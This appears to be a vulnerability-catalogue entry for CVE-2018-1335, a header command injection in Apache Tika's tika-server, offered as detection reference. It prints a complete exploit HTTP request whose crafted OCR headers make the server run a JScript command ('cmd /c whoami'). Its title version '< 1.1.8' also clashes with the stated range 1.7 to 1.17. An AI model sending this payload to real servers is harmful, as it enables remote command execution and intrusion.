🔙 목록으로 돌아가기

CVE-2018-1335: Apache Tika < 1.1.8 - Header Command Injection

TitleApache Tika < 1.1.8 - Header Command Injection
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.
RemediationUpgrade to Tika 1.18.
CVSS Score8.1
EPSS Score0.93516
CVE IDCVE-2018-1335
Tags cve cve2018 packetstorm edb apache tika rce intrusive vkev vuln

🔍 Vulnerability Description

Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.

🌐 HTTP Request

PUT /meta HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Content-Length: 92
Accept: */*
Accept-Language: en
Connection: close
Content-type: image/jp2
Expect: 100-continue
X-Tika-OCRLanguage: //E:Jscript
X-Tika-OCRTesseractPath: cscript
Accept-Encoding: gzip

var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1335.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-1335.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A